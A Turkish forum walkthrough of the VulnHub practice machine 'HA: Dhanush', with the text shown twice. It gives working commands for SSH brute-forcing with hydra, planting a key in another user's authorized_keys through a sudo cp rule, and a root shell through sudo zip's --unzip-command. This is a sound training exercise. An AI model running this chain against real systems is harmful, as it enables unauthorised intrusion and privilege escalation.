HA: Dhanush Zafiyetli Makine Çözümü
Makine 9 Kasım 2019da Hacking Articles tarafından yayınlanmıştır.
Yüklemek için siteyi ziyaret edebilirsiniz.
Bağlantı: https://www.vulnhub.com/entry/ha-dhanush,396/https://www.vulnhub.com/entry/ha-dhanush,396/
OVA şeklinde hazır olarak kurabilirsiniz.
Örn: Virtual Machine --> File --> Open --> dhanush
Başlayalım.
Öncelikle netdiscover yazarak ağdaki IPleri listeliyoruz.
Daha sonra nmap(network mapping)(ağ haritalandırma) aracı yardımıyla çözeceğimiz makinenin IPsindeki açık portları listeliyoruz.
Buradaki p- parametresi aracın bütün portları (65535) taramasını sağlar.
Buradaki A parametresi ise taramada sürüm, işletim sistemi (OS) tespiti, script taraması ve traceroute belirlenmesini sağlar.
İşletim Sistemi (Operating System (OS))
Script Nedir? (Herhangi bir programlama dilinde yazılmış, uygulama bölümlerinin tüm kodlarını içinde bulunduran hazır kod bloklarına script adı verilir.)
TraceRoute Nedir? (Network TCP/IP içerisinde kullaılan bir sorgulama komutudur. Bu sorgulama komutu ile gönderilen üç paketin hangi ağ geçitlerinden geçtiği takip edilir ve bir paketin uç noktaya hangi yolları izleyerek gittiği görülür.)
nmap p- -A IP_ADRESI
Burada nmap iki tane port buldu. 80(HTTP) ve 65345(SSH)
Öncelikle HTTP'yi kontrol etmek adına, IP Adresini tarayıcıya girerek kontrol ediyoruz. Ancak bir şey çıkmadı.
Daha sonra sitenin kaynak kodlarına bakıyoruz. Sitenin kaynak kodlarında kelimeler dışında bir şey bulamadık. Bizde bu kelime gruplarını CEWL (Custom Word ListGenerator)(Özel Kelime Listesi Oluşturucu) isimli araç ile bir txt dosyasına aktardık.
Buradaki w parametresi kendisinden sonra gelen dizin veya isimde kelime listesi oluşturmayı sağlar.
Daha sonra kaç tane satır çıktığına bakalım. (wc l)
Listemize bir göz atalım.
Kaba kuvvet saldırısı yapmadan önce bir düşünmemiz gerekiyor kelime listesindeki her kelimenin kullanıcı adı ve şifre olarak deneneceğini göz önünde bulundurduğumuzda 114x114=12296 deneme yapacak. Bu da baya uzun sürecektir. Bu yüzden kelime listemizden gereksiz ve anlamsız kelimeleri çıkartıyoruz. 53x53=2809 Hala çok fazla olduğunu düşündüğüm için sitedeki yazılara bir göz attım ve şunu gördüm.
(You, The CTF Warrior, PickupyourDhanushandgo on tothepathtoattainBoot)
(Siz, CTF Savaşçısı, Dhanush'ınızı alın ve Boot'a ulaşmak için yola devam edin)
Makinenin açıklama kısmında buna benzer bir vurgu daha olduğu için Dhanush türlerindeki kelimeler ile kelime listemi kısıtladım ve diğer kelimeleri çıkardım.
Şimdi gerçekten az kelimemiz var 11x11=121 deneme yapacak. Kaba kuvvet saldırısına başlayalım.
Hydra kaba kuvvet saldırısı için kullanılan bir araçtır. Buradaki -L parametresi araca kullanıcı adlarının listesinin girileceğini belirtir.
-P parametresi ise aynı işlemin şifreler için olanıdır. -t parametresi çalışacak iş parçacığı sayısını belirtir. -F parametresi bir başarılı bir giriş bulduğunda aracın saldırıyı durduracağını belirtir. -s parametresi port numarasını belirtir. Porttan sonraki kısım hedef IPmiz, ssh ise kırmak istediğimiz servistir.
Evet giriş bilgilerini edindik. Şimdi giriş yapalım.
Giriş yaptıktan sonra küçük bir göz atıyoruz. pinak kullanıcısının yetkileri yetersiz.
Yukarıdaki komut ile sudoları listeliyoruz ve sarang hakkında bir bilgi gözümüze çarpıyor.
Yukarıdaki komut ile dizini listeliyoruz. Bir şey göremiyoruz.
Yukarıdaki komut ile gizli bir dosya var mı diye bakıyoruz.
.ssh gözümüze çarpıyor.
Yukarıdaki komutu girdiğimizde .ssh dizinine girmek için iznimizin olmadığını görüyoruz. Ancak biraz önce sudoların izinlerine baktığımızda sarang için cp komutunu kullanabildiğimizi görmüştük. Burada bir ssh anahtarı oluşturup .ssh dosyasının içine ekleyeceğiz. Daha sonra id_rsa genel anahtarını bulmak için pinakkullanıcsının ana dizinindeki .ssha geçeceğiz.
Şimdi sarang olarak giriş yapmak için, sarangıncp komutunu kullanarak oluşturduğumuz public anahtarı sarangın içine gerekli yere gönderiyoruz.
Daha sonra sarang olarak giriş yapıyoruz.
Şimdi tekrardan sudonun kullanabileceği komutları listeliyoruz.
Burada zip komutunu şifresiz root olarak kullanabildiğimizi görüyoruz.
Şimdi bir dosya oluşturup, zipleyeceğiz daha sonra bu dosyayı root dizinine gönderip zipten çıkaracağız. Zipten çıkartırken de komut çalıştıracağız. Böylece root kabuğuna erişmiş olacağız. Daha sonra root dizininde listeleme komutunu çalıştıracağız. Ve flagımızı bulduk.
(Burada /home/sarang/raj diye oluşturduğumuz raj dosyasını /tmp/raj.zip olarak zip dosyası oluşturuyoruz daha sonra bu dosyayı -T test parametresi ile zipten çıkartıp bir komut çalıştırıyoruz.)
Gittikçe zorlaştığını düşündüğüm bir makine çözümüydü. Umarım beğenmişsinizdir.
İyi forumlar...
Makine 9 Kasım 2019da Hacking Articles tarafından yayınlanmıştır.
Yüklemek için siteyi ziyaret edebilirsiniz.
Bağlantı: https://www.vulnhub.com/entry/ha-dhanush,396/https://www.vulnhub.com/entry/ha-dhanush,396/
OVA şeklinde hazır olarak kurabilirsiniz.
Örn: Virtual Machine --> File --> Open --> dhanush
Başlayalım.
Öncelikle netdiscover yazarak ağdaki IPleri listeliyoruz.
Kod:
netdiscover
Daha sonra nmap(network mapping)(ağ haritalandırma) aracı yardımıyla çözeceğimiz makinenin IPsindeki açık portları listeliyoruz.
Buradaki p- parametresi aracın bütün portları (65535) taramasını sağlar.
Buradaki A parametresi ise taramada sürüm, işletim sistemi (OS) tespiti, script taraması ve traceroute belirlenmesini sağlar.
İşletim Sistemi (Operating System (OS))
Script Nedir? (Herhangi bir programlama dilinde yazılmış, uygulama bölümlerinin tüm kodlarını içinde bulunduran hazır kod bloklarına script adı verilir.)
TraceRoute Nedir? (Network TCP/IP içerisinde kullaılan bir sorgulama komutudur. Bu sorgulama komutu ile gönderilen üç paketin hangi ağ geçitlerinden geçtiği takip edilir ve bir paketin uç noktaya hangi yolları izleyerek gittiği görülür.)
nmap p- -A IP_ADRESI
Kod:
nmap p- -A 192.168.1.43
Burada nmap iki tane port buldu. 80(HTTP) ve 65345(SSH)
Öncelikle HTTP'yi kontrol etmek adına, IP Adresini tarayıcıya girerek kontrol ediyoruz. Ancak bir şey çıkmadı.
Daha sonra sitenin kaynak kodlarına bakıyoruz. Sitenin kaynak kodlarında kelimeler dışında bir şey bulamadık. Bizde bu kelime gruplarını CEWL (Custom Word ListGenerator)(Özel Kelime Listesi Oluşturucu) isimli araç ile bir txt dosyasına aktardık.
Buradaki w parametresi kendisinden sonra gelen dizin veya isimde kelime listesi oluşturmayı sağlar.
Kod:
cewl [URL]http://192.168.1.43[/URL] -w cewlout.txt
Daha sonra kaç tane satır çıktığına bakalım. (wc l)
Kod:
cat cewlout.txt | wc l
Listemize bir göz atalım.
Kod:
cat cewlout.txt
Kaba kuvvet saldırısı yapmadan önce bir düşünmemiz gerekiyor kelime listesindeki her kelimenin kullanıcı adı ve şifre olarak deneneceğini göz önünde bulundurduğumuzda 114x114=12296 deneme yapacak. Bu da baya uzun sürecektir. Bu yüzden kelime listemizden gereksiz ve anlamsız kelimeleri çıkartıyoruz. 53x53=2809 Hala çok fazla olduğunu düşündüğüm için sitedeki yazılara bir göz attım ve şunu gördüm.
(You, The CTF Warrior, PickupyourDhanushandgo on tothepathtoattainBoot)
(Siz, CTF Savaşçısı, Dhanush'ınızı alın ve Boot'a ulaşmak için yola devam edin)
Makinenin açıklama kısmında buna benzer bir vurgu daha olduğu için Dhanush türlerindeki kelimeler ile kelime listemi kısıtladım ve diğer kelimeleri çıkardım.
Şimdi gerçekten az kelimemiz var 11x11=121 deneme yapacak. Kaba kuvvet saldırısına başlayalım.
Hydra kaba kuvvet saldırısı için kullanılan bir araçtır. Buradaki -L parametresi araca kullanıcı adlarının listesinin girileceğini belirtir.
-P parametresi ise aynı işlemin şifreler için olanıdır. -t parametresi çalışacak iş parçacığı sayısını belirtir. -F parametresi bir başarılı bir giriş bulduğunda aracın saldırıyı durduracağını belirtir. -s parametresi port numarasını belirtir. Porttan sonraki kısım hedef IPmiz, ssh ise kırmak istediğimiz servistir.
Kod:
hydra -L cewlout.txt -P cewlout.txt -t 32 -F -s 65345 192.168.1.43 ssh
Evet giriş bilgilerini edindik. Şimdi giriş yapalım.
Kod:
ssh [EMAIL="[email protected]"][email protected][/EMAIL] -p 65345
Giriş yaptıktan sonra küçük bir göz atıyoruz. pinak kullanıcısının yetkileri yetersiz.
Kod:
sudo l
Yukarıdaki komut ile sudoları listeliyoruz ve sarang hakkında bir bilgi gözümüze çarpıyor.
Kod:
ls
Yukarıdaki komut ile dizini listeliyoruz. Bir şey göremiyoruz.
Kod:
ls al
Yukarıdaki komut ile gizli bir dosya var mı diye bakıyoruz.
.ssh gözümüze çarpıyor.
Kod:
cd .ssh
Yukarıdaki komutu girdiğimizde .ssh dizinine girmek için iznimizin olmadığını görüyoruz. Ancak biraz önce sudoların izinlerine baktığımızda sarang için cp komutunu kullanabildiğimizi görmüştük. Burada bir ssh anahtarı oluşturup .ssh dosyasının içine ekleyeceğiz. Daha sonra id_rsa genel anahtarını bulmak için pinakkullanıcsının ana dizinindeki .ssha geçeceğiz.
Kod:
ssh-keygen
Kod:
cd
Kod:
cd .ssh
Kod:
chmod 777 id_rsa.pub
Kod:
cp id_rsa.pub /home/pinak
Şimdi sarang olarak giriş yapmak için, sarangıncp komutunu kullanarak oluşturduğumuz public anahtarı sarangın içine gerekli yere gönderiyoruz.
Kod:
sudo -u sarang /bin/cp ./id_rsa.pub /home/sarang/.ssh/authorized_keys
Daha sonra sarang olarak giriş yapıyoruz.
Kod:
ssh [email protected] -i /.ssh/id_rsa -p 65345
Şimdi tekrardan sudonun kullanabileceği komutları listeliyoruz.
Kod:
sudo l
Burada zip komutunu şifresiz root olarak kullanabildiğimizi görüyoruz.
Şimdi bir dosya oluşturup, zipleyeceğiz daha sonra bu dosyayı root dizinine gönderip zipten çıkaracağız. Zipten çıkartırken de komut çalıştıracağız. Böylece root kabuğuna erişmiş olacağız. Daha sonra root dizininde listeleme komutunu çalıştıracağız. Ve flagımızı bulduk.
Kod:
touch raj
Kod:
pwd
Kod:
sudo zip /tmp/raj.zip /home/sarang/raj -T --unzip-command="sh -c /bin/bash"
(Burada /home/sarang/raj diye oluşturduğumuz raj dosyasını /tmp/raj.zip olarak zip dosyası oluşturuyoruz daha sonra bu dosyayı -T test parametresi ile zipten çıkartıp bir komut çalıştırıyoruz.)
Kod:
cd /root
Kod:
ls
Kod:
cat flag.txt
Gittikçe zorlaştığını düşündüğüm bir makine çözümüydü. Umarım beğenmişsinizdir.
İyi forumlar...
Son düzenleme: